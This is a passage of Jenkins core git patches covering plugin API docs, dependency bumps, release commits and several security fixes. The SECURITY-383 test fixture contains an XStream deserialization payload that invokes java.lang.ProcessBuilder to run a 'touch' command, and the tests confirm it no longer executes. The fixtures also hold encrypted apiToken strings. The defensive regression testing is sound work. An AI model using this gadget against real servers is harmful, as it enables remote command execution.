                                                          * This allows URL hudson/plugin/ID to be served by the views * of the plugin class. + * @param shortName Short name of the plugin + * @return The plugin singleton or {@code null} if for some reason the plugin is not loaded. + * The fact the plugin is loaded does not mean it is enabled and fully initialized for the current Jenkins session. + * Use {@link Plugin#getWrapper()} and then {@link PluginWrapper#isActive()} to check it. */ + @CheckForNull public Plugin getPlugin(String shortName) { PluginWrapper p = pluginManager.getPlugin(shortName); if(p==null) return null; @@ -1574,12 +1577,15 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * This allows easy storage of plugin information in the plugin singleton without * every plugin reimplementing the singleton pattern. * + * @param

                                                          Class of the plugin * @param clazz The plugin class (beware class-loader fun, this will probably only work * from within the jpi that defines the plugin class, it may or may not work in other cases) - * - * @return The plugin instance. + * @return The plugin singleton or {@code null} if for some reason the plugin is not loaded. + * The fact the plugin is loaded does not mean it is enabled and fully initialized for the current Jenkins session. + * Use {@link Plugin#getWrapper()} and then {@link PluginWrapper#isActive()} to check it. */ @SuppressWarnings("unchecked") + @CheckForNull public

                                                          P getPlugin(Class

                                                          clazz) { PluginWrapper p = pluginManager.getPlugin(clazz); if(p==null) return null; -- GitLab From 1e5e53a5fbf1e40ba637f1b21214e0fb8a0bee8b Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 17 Jan 2017 12:36:54 -0500 Subject: [PATCH 716/811] [FIXED JENKINS-37625] Update Winstone to fix an IllegalStateException. --- war/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/war/pom.xml b/war/pom.xml index a3632779e5..b2a6bc1efb 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -93,7 +93,7 @@ THE SOFTWARE. --> org.jenkins-ci winstone - 3.2 + 3.3 test -- GitLab From e04da4a2c2c5578b3a92a9b928f30e53d75865a3 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 11 Jan 2017 00:51:26 +0100 Subject: [PATCH 717/811] [FIX JENKINS-40894] Restore unstableReturn in readResolve (cherry picked from commit 93467c3f4bc74172b41543eea13e6771916d435a) --- core/src/main/java/hudson/tasks/BatchFile.java | 4 +++- core/src/main/java/hudson/tasks/Shell.java | 4 +++- .../test/java/hudson/tasks/BatchFileTest.java | 11 +++++++++++ test/src/test/java/hudson/tasks/ShellTest.java | 10 ++++++++++ .../canLoadUnstableReturnFromDisk.zip | Bin 0 -> 1056 bytes .../ShellTest/canLoadUnstableReturnFromDisk.zip | Bin 0 -> 1059 bytes 6 files changed, 27 insertions(+), 2 deletions(-) create mode 100644 test/src/test/resources/hudson/tasks/BatchFileTest/canLoadUnstableReturnFromDisk.zip create mode 100644 test/src/test/resources/hudson/tasks/ShellTest/canLoadUnstableReturnFromDisk.zip diff --git a/core/src/main/java/hudson/tasks/BatchFile.java b/core/src/main/java/hudson/tasks/BatchFile.java index 675c316eeb..b6bf2bb74c 100644 --- a/core/src/main/java/hudson/tasks/BatchFile.java +++ b/core/src/main/java/hudson/tasks/BatchFile.java @@ -81,7 +81,9 @@ public class BatchFile extends CommandInterpreter { } private Object readResolve() throws ObjectStreamException { - return new BatchFile(command); + BatchFile batch = new BatchFile(command); + batch.setUnstableReturn(unstableReturn); + return batch; } @Extension @Symbol("batchFile") diff --git a/core/src/main/java/hudson/tasks/Shell.java b/core/src/main/java/hudson/tasks/Shell.java index 1986e2dea7..4360f4ce94 100644 --- a/core/src/main/java/hudson/tasks/Shell.java +++ b/core/src/main/java/hudson/tasks/Shell.java @@ -125,7 +125,9 @@ public class Shell extends CommandInterpreter { } private Object readResolve() throws ObjectStreamException { - return new Shell(command); + Shell shell = new Shell(command); + shell.setUnstableReturn(unstableReturn); + return shell; } @Extension @Symbol("shell") diff --git a/test/src/test/java/hudson/tasks/BatchFileTest.java b/test/src/test/java/hudson/tasks/BatchFileTest.java index 93673d6c95..2251bb5089 100644 --- a/test/src/test/java/hudson/tasks/BatchFileTest.java +++ b/test/src/test/java/hudson/tasks/BatchFileTest.java @@ -1,5 +1,6 @@ package hudson.tasks; +import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNull; import static org.junit.Assume.assumeTrue; @@ -16,6 +17,7 @@ import hudson.Launcher.ProcStarter; import hudson.Proc; import hudson.model.Result; import hudson.model.FreeStyleProject; +import org.jvnet.hudson.test.recipes.LocalData; /** @@ -148,4 +150,13 @@ public class BatchFileTest { /* Creating unstable=0 produces unstable=null */ assertNull( createNewBatchTask("",0).getUnstableReturn() ); } + + @Issue("JENKINS-40894") + @Test + @LocalData + public void canLoadUnstableReturnFromDisk() throws Exception { + FreeStyleProject p = (FreeStyleProject) rule.jenkins.getItemByFullName("batch"); + BatchFile batchFile = (BatchFile) p.getBuildersList().get(0); + assertEquals("unstable return", Integer.valueOf(1), batchFile.getUnstableReturn()); + } } diff --git a/test/src/test/java/hudson/tasks/ShellTest.java b/test/src/test/java/hudson/tasks/ShellTest.java index f83675e824..eef0565b89 100644 --- a/test/src/test/java/hudson/tasks/ShellTest.java +++ b/test/src/test/java/hudson/tasks/ShellTest.java @@ -27,6 +27,7 @@ import org.junit.Assume; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.recipes.LocalData; /** * Tests for the Shell tasks class @@ -190,4 +191,13 @@ public class ShellTest { assertNull( createNewShell("",0).getUnstableReturn() ); } + @Issue("JENKINS-40894") + @Test + @LocalData + public void canLoadUnstableReturnFromDisk() throws Exception { + FreeStyleProject p = (FreeStyleProject) rule.jenkins.getItemByFullName("test"); + Shell shell = (Shell) p.getBuildersList().get(0); + assertEquals("unstable return", Integer.valueOf(1), shell.getUnstableReturn()); + } + } diff --git a/test/src/test/resources/hudson/tasks/BatchFileTest/canLoadUnstableReturnFromDisk.zip b/test/src/test/resources/hudson/tasks/BatchFileTest/canLoadUnstableReturnFromDisk.zip new file mode 100644 index 0000000000000000000000000000000000000000..7733c0a66c1a409498e334b844db0de596e700db GIT binary patch literal 1056 zcmWIWW@h1H0Dx6`75Y!FstkYPwp%=5`lObN{^E=f$vNexOZDJ{x#E6UGx z$t=#+tI8}04dG;9<|`DOdK#c}ca6l!aLFP>ax*BdS zkiiOcbyj{-u|C*kjQCsz($e4O3`d6R=77idUFVt}zS(C1A| z3=E>Eh9u|brDdk;RpjP?-Lw~I+*Ke(3$5ND>-<9o0{4E33VJV7OMRWt<02SseL*QL zIli+yIofXb)92sc2(&na?*3VQr<{MLuHW93`xF+GmBpQ(b$l0-_S{R~4AyUd|GIs7 z)j{<$?B6+!K6!>3vT8Jco2X@xy*@CkpP`ObZp|VY-V^pMjtOsN=bsgMt?1H}dr;%I zmsF$0{4&pln|Te-W*a?w`!m(5V#x++^(r~%MK=Ve9yICN%V@f7&jX!zy_1ipUUGYD zwL$xPt|6O1?ZS-P8(;X}uf1{Yzxu0lQ=5}6v@^&4-!p5oQ7eO)*yS0;-qSfhb#oaj zRO|~AsW_6Rx#-QcTL%=TJ=iB6R%r1u;%w2Q26x+wlYWLscW6fV^+~6_xb*K{+qS*4 zI(}|3m)djKwv6lSkh<(q`+>2 f7>Jw*fkuN8A%@YcY(Sk1EI=3s)Vv0mk{K8PZAv9I literal 0 HcmV?d00001 diff --git a/test/src/test/resources/hudson/tasks/ShellTest/canLoadUnstableReturnFromDisk.zip b/test/src/test/resources/hudson/tasks/ShellTest/canLoadUnstableReturnFromDisk.zip new file mode 100644 index 0000000000000000000000000000000000000000..d1d23b58680879ab8a21cd8ff9166e8473fd7143 GIT binary patch literal 1059 zcmWIWW@h1H0D%BDZLe!PPwa^XvO!ppL53kYG0!JIF(ovwxFj(tCp9Rwq_il{ttda& zC9^nNuPU=3G=!6Z*`v5L!XmpgqO^jWfsy4aBLf4A2*^ON(Hu~tffO82$!L&ye;KvC z;N}7utUy<1TSX~CvCd`1UoeQSDB(=B%V#c&|oMwQ0$pJRwbhh1U zEuhDDGBGfSpqP=IpO==Iu2+$p19lO}G&4*W^#=I{A65|9`#n6R>g35I_iO^J7R%;W zWxW03lbCD3A|bZLK3>SlzI00Pz1zpDcT1mmbYbNqVHvN*&!4W@rO$og4#&#xpNl?! ztN9+F_o5{t-L9e9O7oFo&u@+6RV_>ttTU_oCjF9GTE(3(J;AX%LznTTbuh=0eGezw zq(v6k30X2!h8G+acz#)p!(>;N&sV7_QTBU%Hg_5CHCnUyUTem@i#HazYztN>`Xade zlb_^0JGPZawlVHCiI>{Te2q6G#&zGf)qY_L|$3>~P&sS3_ore%jvRL(^9Yu)i1I!6ZLtSz!6m zIYO`RD?Mh@`=xC5X3CLgIky})l%BceGReyRNPd7fBa<96t|Th~ic~OI(g>o6NWiR+ z1dNeH5Y}L(F_<+13~wE`0j+_iIG|CW6o Date: Wed, 18 Jan 2017 16:40:50 -0500 Subject: [PATCH 718/811] stapler 1.249 --- changelog.html | 4 ++++ core/pom.xml | 2 +- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 362d75deb6..dad8a4443f 100644 --- a/changelog.html +++ b/changelog.html @@ -59,6 +59,10 @@ Upcoming changes

                                                        • IllegalStateException from Winstone when making certain requests with access logging enabled. (issue 37625) +
                                                        • + Failure to serialize a single Action could cause an entire REST export response to fail. + Upgraded to Stapler 1.249 with a fix. + (issue 40088)

                                                        What's new in 2.41 (2017/01/15)

                                                        diff --git a/core/pom.xml b/core/pom.xml index 9ef49b064f..51ad10a4bf 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -39,7 +39,7 @@ THE SOFTWARE. true - 1.248 + 1.249 2.5.6.SEC03 2.4.7 -- GitLab From 8a8c4c20eb41204cd0535cc365a59ec6bad824ae Mon Sep 17 00:00:00 2001 From: Andrew Bayer Date: Thu, 19 Jan 2017 16:35:05 -0800 Subject: [PATCH 719/811] [FIXED JENKINS-37590] Return a null property if no parameters At least part of the impetus for this issue was dealt with a while back by a revert of PR #2444, but this gives us a better solution anyway by guaranteeing we have a null property rather than one without parameters. --- .../java/hudson/model/ParametersDefinitionProperty.java | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/core/src/main/java/hudson/model/ParametersDefinitionProperty.java b/core/src/main/java/hudson/model/ParametersDefinitionProperty.java index 7dc5f76b17..956812158d 100644 --- a/core/src/main/java/hudson/model/ParametersDefinitionProperty.java +++ b/core/src/main/java/hudson/model/ParametersDefinitionProperty.java @@ -221,6 +221,15 @@ public class ParametersDefinitionProperty extends OptionalJobProperty> @Extension @Symbol("parameters") public static class DescriptorImpl extends OptionalJobPropertyDescriptor { + @Override + public ParametersDefinitionProperty newInstance(StaplerRequest req, JSONObject formData) throws FormException { + ParametersDefinitionProperty prop = (ParametersDefinitionProperty)super.newInstance(req, formData); + if (prop != null && prop.parameterDefinitions.isEmpty()) { + return null; + } + return prop; + } + @Override public boolean isApplicable(Class jobType) { return ParameterizedJobMixIn.ParameterizedJob.class.isAssignableFrom(jobType); -- GitLab From 85c8dc5a4b73a02cf994921fd8f84f8e2ae15434 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Fri, 20 Jan 2017 12:23:40 +0100 Subject: [PATCH 720/811] [FIXED JENKINS-36872] Switch to com.mysema.maven:apt-maven-plugin for Java 8 support --- core/pom.xml | 4 ++-- pom.xml | 12 ++++++------ 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/core/pom.xml b/core/pom.xml index 9ef49b064f..9455e117c2 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -853,9 +853,9 @@ THE SOFTWARE. - org.codehaus.mojo + com.mysema.maven apt-maven-plugin - + diff --git a/pom.xml b/pom.xml index 4b96c2133a..a7283c08c0 100644 --- a/pom.xml +++ b/pom.xml @@ -160,7 +160,7 @@ THE SOFTWARE. mockito-core 1.10.19 - + org.powermock powermock-module-junit4 @@ -495,9 +495,9 @@ THE SOFTWARE. 2.1 - org.codehaus.mojo + com.mysema.maven apt-maven-plugin - 1.0-alpha-5 + 1.1.3 org.codehaus.mojo @@ -665,7 +665,7 @@ THE SOFTWARE. 1.${java.level} 1.${java.level} - @@ -760,8 +760,8 @@ THE SOFTWARE. - - + + -- GitLab From 02749c3d6993a2db7dc83fe79558630a37eb77a6 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 20 Jan 2017 18:06:11 -0500 Subject: [PATCH 721/811] Now 1.250 to pick up https://github.com/stapler/stapler/issues/103. --- core/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/pom.xml b/core/pom.xml index 51ad10a4bf..3ece00cbe5 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -39,7 +39,7 @@ THE SOFTWARE. true - 1.249 + 1.250 2.5.6.SEC03 2.4.7 -- GitLab From 7b680d81b6e3e7a08da278c27311ce00fad459da Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 22 Jan 2017 14:34:26 -0800 Subject: [PATCH 722/811] [maven-release-plugin] prepare release jenkins-2.42 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 1476cd850b..0ccbffd929 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.42-SNAPSHOT + 2.42 cli diff --git a/core/pom.xml b/core/pom.xml index 9ef49b064f..5b835224c7 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.42-SNAPSHOT + 2.42 jenkins-core diff --git a/pom.xml b/pom.xml index 4b96c2133a..0dcd3a0d10 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.42-SNAPSHOT + 2.42 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.42 diff --git a/test/pom.xml b/test/pom.xml index 954f8b33c6..45d811dd03 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.42-SNAPSHOT + 2.42 test diff --git a/war/pom.xml b/war/pom.xml index b2a6bc1efb..5bd0f80646 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.42-SNAPSHOT + 2.42 jenkins-war -- GitLab From 16337d8c69babfff04e89a61632aee5f00b0edce Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 22 Jan 2017 14:34:26 -0800 Subject: [PATCH 723/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 0ccbffd929..29594a05f8 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.42 + 2.43-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 5b835224c7..8a256f7baa 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.42 + 2.43-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 0dcd3a0d10..ce72a1bd8f 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.42 + 2.43-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.42 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 45d811dd03..f12b9e4fde 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.42 + 2.43-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 5bd0f80646..ccd097dfd1 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.42 + 2.43-SNAPSHOT jenkins-war -- GitLab From 6f8c7e9fbe91510392d24809185f6b3df349a900 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 22 Jan 2017 14:41:30 -0800 Subject: [PATCH 724/811] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 362d75deb6..380bd7411b 100644 --- a/changelog.html +++ b/changelog.html @@ -55,12 +55,16 @@ Upcoming changes +

                                                        What's new in 2.42 (2017/01/22)

                                                        • IllegalStateException from Winstone when making certain requests with access logging enabled. (issue 37625)
                                                        -

                                                        What's new in 2.41 (2017/01/15)

                                                        • -- GitLab From 3cd946cbef82c6da5ccccf3890d0ae4e091c4265 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 12 Jan 2017 16:34:49 -0500 Subject: [PATCH 725/811] Merge pull request #80 from jenkinsci-cert/SECURITY-362 [SECURITY-362] Do not persist User in OfflineCause.UserCause --- .../main/java/hudson/slaves/OfflineCause.java | 48 +++++++++++++--- .../test/java/hudson/model/ComputerTest.java | 29 ++++++++++ .../config.xml | 34 +++++++++++ .../nodes/deserialized/config.xml | 56 +++++++++++++++++++ .../users/username/config.xml | 38 +++++++++++++ 5 files changed, 196 insertions(+), 9 deletions(-) create mode 100644 test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/config.xml create mode 100644 test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/nodes/deserialized/config.xml create mode 100644 test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/users/username/config.xml diff --git a/core/src/main/java/hudson/slaves/OfflineCause.java b/core/src/main/java/hudson/slaves/OfflineCause.java index 41319f01e9..3b94e99cd9 100644 --- a/core/src/main/java/hudson/slaves/OfflineCause.java +++ b/core/src/main/java/hudson/slaves/OfflineCause.java @@ -24,7 +24,6 @@ package hudson.slaves; -import jenkins.model.Jenkins; import hudson.Functions; import hudson.model.Computer; import hudson.model.User; @@ -33,7 +32,10 @@ import org.jvnet.localizer.Localizable; import org.kohsuke.stapler.export.ExportedBean; import org.kohsuke.stapler.export.Exported; +import javax.annotation.CheckForNull; import javax.annotation.Nonnull; +import java.io.ObjectStreamException; +import java.util.Collections; import java.util.Date; /** @@ -128,21 +130,49 @@ public abstract class OfflineCause { /** * Taken offline by user. + * * @since 1.551 */ public static class UserCause extends SimpleOfflineCause { - private final User user; - - public UserCause(User user, String message) { - super(hudson.slaves.Messages._SlaveComputer_DisconnectedBy( - user!=null ? user.getId() : Jenkins.ANONYMOUS.getName(), + @Deprecated + private transient User user; + // null when unknown + private /*final*/ @CheckForNull String userId; + + public UserCause(@CheckForNull User user, @CheckForNull String message) { + this( + user != null ? user.getId() : null, message != null ? " : " + message : "" - )); - this.user = user; + ); + } + + private UserCause(String userId, String message) { + super(hudson.slaves.Messages._SlaveComputer_DisconnectedBy(userId, message)); + this.userId = userId; } public User getUser() { - return user; + return userId == null + ? User.getUnknown() + : User.getById(userId, true) + ; + } + + // Storing the User in a filed was a mistake, switch to userId + @SuppressWarnings("deprecation") + private Object readResolve() throws ObjectStreamException { + if (user != null) { + String id = user.getId(); + if (id != null) { + userId = id; + } else { + // The user field is not properly deserialized so id may be missing. Look the user up by fullname + User user = User.get(this.user.getFullName(), true, Collections.emptyMap()); + userId = user.getId(); + } + this.user = null; + } + return this; } } diff --git a/test/src/test/java/hudson/model/ComputerTest.java b/test/src/test/java/hudson/model/ComputerTest.java index b58b00f45e..ffe67ddb15 100644 --- a/test/src/test/java/hudson/model/ComputerTest.java +++ b/test/src/test/java/hudson/model/ComputerTest.java @@ -23,16 +23,22 @@ */ package hudson.model; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.not; import static org.junit.Assert.*; + import java.io.File; +import com.gargoylesoftware.htmlunit.xml.XmlPage; +import hudson.slaves.OfflineCause; import jenkins.model.Jenkins; import hudson.slaves.DumbSlave; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.recipes.LocalData; public class ComputerTest { @@ -52,4 +58,27 @@ public class ComputerTest { assertTrue("Slave log should be kept", keep.toComputer().getLogFile().exists()); } + + @Test + public void doNotShowUserDetailsInOfflineCause() throws Exception { + DumbSlave slave = j.createOnlineSlave(); + final Computer computer = slave.toComputer(); + computer.setTemporarilyOffline(true, new OfflineCause.UserCause(User.get("username"), "msg")); + verifyOfflineCause(computer); + } + + @Test @LocalData + public void removeUserDetailsFromOfflineCause() throws Exception { + Computer computer = j.jenkins.getComputer("deserialized"); + verifyOfflineCause(computer); + } + + private void verifyOfflineCause(Computer computer) throws Exception { + XmlPage page = j.createWebClient().goToXml("computer/" + computer.getName() + "/config.xml"); + String content = page.getWebResponse().getContentAsString("UTF-8"); + assertThat(content, containsString("temporaryOfflineCause")); + assertThat(content, containsString("username")); + assertThat(content, not(containsString("ApiTokenProperty"))); + assertThat(content, not(containsString("apiToken"))); + } } diff --git a/test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/config.xml b/test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/config.xml new file mode 100644 index 0000000000..1a1cd9abbb --- /dev/null +++ b/test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/config.xml @@ -0,0 +1,34 @@ + + + + 1.0 + 2 + NORMAL + true + + + false + + ${JENKINS_HOME}/workspace/${ITEM_FULLNAME} + ${ITEM_ROOTDIR}/builds + + + + + 0 + + + + All + false + false + + + + All + 0 + + + + true + diff --git a/test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/nodes/deserialized/config.xml b/test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/nodes/deserialized/config.xml new file mode 100644 index 0000000000..b093f82a5c --- /dev/null +++ b/test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/nodes/deserialized/config.xml @@ -0,0 +1,56 @@ + + + + 1479196265920 + + + hudson.slaves.Messages + + SlaveComputer.DisconnectedBy + + username + : msg + + + + username + + + wPfVKd4HGJzRoEpazbTu35nXXfI34cguPjm+5JPO7pZDFLFgpFLviQsS3NdJndax + + + + + + + All + false + false + + + + + + + + + false + + + + + deserialized + dummy + ... + 1 + NORMAL + + + + + + + + + SYSTEM + diff --git a/test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/users/username/config.xml b/test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/users/username/config.xml new file mode 100644 index 0000000000..9b55a52743 --- /dev/null +++ b/test/src/test/resources/hudson/model/ComputerTest/removeUserDetailsFromOfflineCause/users/username/config.xml @@ -0,0 +1,38 @@ + + + username + username + + + + qykj8q6EqvMg9LPu+lCqLiXBZvEVdCTWoYJwmicXgH+yh1ZUm85iHe29grd+g3QG + + + + + + + + + + + + + All + false + false + + + + + + + + + + + + false + + + -- GitLab From 92964da7b22b0cbb57734b9929f5be8293609c0d Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 12 Jan 2017 16:35:34 -0500 Subject: [PATCH 726/811] Merge pull request #102 from jenkinsci-cert/security-349 [SECURITY-349] Use updated stapler-adjunct-timeline for newer jquery --- core/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/pom.xml b/core/pom.xml index 94726b9737..a191e899c1 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -157,7 +157,7 @@ THE SOFTWARE. org.kohsuke.stapler stapler-adjunct-timeline - 1.4 + 1.5-20170112.000031-1 org.kohsuke.stapler -- GitLab From a814154695e23dc37542af7d40cacc129cf70722 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 12 Jan 2017 16:36:43 -0500 Subject: [PATCH 727/811] Merge pull request #101 from jenkinsci-cert/security-383-simpler [SECURITY-383] Additional XStream2-specific class blacklisting --- pom.xml | 2 +- .../hudson/util/XStream2Security383Test.java | 120 ++++++++++++++++++ .../util/XStream2Security383Test/config.xml | 54 ++++++++ 3 files changed, 175 insertions(+), 1 deletion(-) create mode 100644 test/src/test/java/hudson/util/XStream2Security383Test.java create mode 100644 test/src/test/resources/hudson/util/XStream2Security383Test/config.xml diff --git a/pom.xml b/pom.xml index f57a3b6345..f01684c3f1 100644 --- a/pom.xml +++ b/pom.xml @@ -179,7 +179,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.53.4 + 2.53.5-20170111.201445-1 diff --git a/test/src/test/java/hudson/util/XStream2Security383Test.java b/test/src/test/java/hudson/util/XStream2Security383Test.java new file mode 100644 index 0000000000..1e3897a5f2 --- /dev/null +++ b/test/src/test/java/hudson/util/XStream2Security383Test.java @@ -0,0 +1,120 @@ +package hudson.util; + +import hudson.model.Items; +import org.apache.commons.io.FileUtils; +import org.apache.commons.io.IOUtils; +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.TemporaryFolder; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.kohsuke.stapler.StaplerRequest; +import org.kohsuke.stapler.StaplerResponse; +import org.mockito.Mock; +import org.mockito.MockitoAnnotations; + +import javax.servlet.ServletInputStream; +import java.io.File; +import java.io.IOException; +import java.io.InputStream; + +import static org.junit.Assert.assertFalse; +import static org.mockito.Mockito.when; + +public class XStream2Security383Test { + + @Rule + public JenkinsRule j = new JenkinsRule(); + + @Rule + public TemporaryFolder f = new TemporaryFolder(); + + @Mock + private StaplerRequest req; + + @Mock + private StaplerResponse rsp; + + @Before + public void setUp() throws Exception { + MockitoAnnotations.initMocks(this); + } + + @Test + @Issue("SECURITY-383") + public void testXmlLoad() throws Exception { + File exploitFile = f.newFile(); + try { + // be extra sure there's no file already + if (exploitFile.exists() && !exploitFile.delete()) { + throw new IllegalStateException("file exists and cannot be deleted"); + } + File tempJobDir = new File(j.jenkins.getRootDir(), "security383"); + + String exploitXml = IOUtils.toString( + XStream2Security383Test.class.getResourceAsStream( + "/hudson/util/XStream2Security383Test/config.xml"), "UTF-8"); + + exploitXml = exploitXml.replace("@TOKEN@", exploitFile.getAbsolutePath()); + + FileUtils.write(new File(tempJobDir, "config.xml"), exploitXml); + + try { + Items.load(j.jenkins, tempJobDir); + } catch (Exception e) { + // ignore + } + assertFalse("no file should be created here", exploitFile.exists()); + } finally { + exploitFile.delete(); + } + } + + @Test + @Issue("SECURITY-383") + public void testPostJobXml() throws Exception { + File exploitFile = f.newFile(); + try { + // be extra sure there's no file already + if (exploitFile.exists() && !exploitFile.delete()) { + throw new IllegalStateException("file exists and cannot be deleted"); + } + File tempJobDir = new File(j.jenkins.getRootDir(), "security383"); + + String exploitXml = IOUtils.toString( + XStream2Security383Test.class.getResourceAsStream( + "/hudson/util/XStream2Security383Test/config.xml"), "UTF-8"); + + exploitXml = exploitXml.replace("@TOKEN@", exploitFile.getAbsolutePath()); + + when(req.getMethod()).thenReturn("POST"); + when(req.getInputStream()).thenReturn(new Stream(IOUtils.toInputStream(exploitXml))); + when(req.getContentType()).thenReturn("application/xml"); + when(req.getParameter("name")).thenReturn("foo"); + + try { + j.jenkins.doCreateItem(req, rsp); + } catch (Exception e) { + // don't care + } + + assertFalse("no file should be created here", exploitFile.exists()); + } finally { + exploitFile.delete(); + } + } + + private static class Stream extends ServletInputStream { + private final InputStream inner; + + public Stream(final InputStream inner) { + this.inner = inner; + } + + @Override + public int read() throws IOException { + return inner.read(); + } + } +} diff --git a/test/src/test/resources/hudson/util/XStream2Security383Test/config.xml b/test/src/test/resources/hudson/util/XStream2Security383Test/config.xml new file mode 100644 index 0000000000..d7edab3764 --- /dev/null +++ b/test/src/test/resources/hudson/util/XStream2Security383Test/config.xml @@ -0,0 +1,54 @@ + + + + + + + + 0 + -1 + 0 + + + foo + + + + + + + + 0 + -1 + 0 + + + + + touch + @TOKEN@ + + false + + + + + + + java.lang.ProcessBuilder + start + + + foo + + + 101575 + foo + foo + + + + + + + \ No newline at end of file -- GitLab From b0ed9669bc00dbccf1be6896bb527b4cf2e7687d Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 12 Jan 2017 17:18:53 -0500 Subject: [PATCH 728/811] Merge pull request #104 from jenkinsci-cert/SECURITY-392 [SECURITY-392] JDKInstaller.DescriptorImpl.doPostCredential was unprotected --- core/src/main/java/hudson/tools/JDKInstaller.java | 3 +++ 1 file changed, 3 insertions(+) diff --git a/core/src/main/java/hudson/tools/JDKInstaller.java b/core/src/main/java/hudson/tools/JDKInstaller.java index 8248d416a4..8b99de1a53 100644 --- a/core/src/main/java/hudson/tools/JDKInstaller.java +++ b/core/src/main/java/hudson/tools/JDKInstaller.java @@ -77,6 +77,7 @@ import java.util.regex.Matcher; import java.util.regex.Pattern; import static hudson.tools.JDKInstaller.Preference.*; +import org.kohsuke.stapler.interceptor.RequirePOST; /** * Install JDKs from java.sun.com. @@ -781,7 +782,9 @@ public class JDKInstaller extends ToolInstaller { /** * Submits the Oracle account username/password. */ + @RequirePOST public HttpResponse doPostCredential(@QueryParameter String username, @QueryParameter String password) throws IOException, ServletException { + 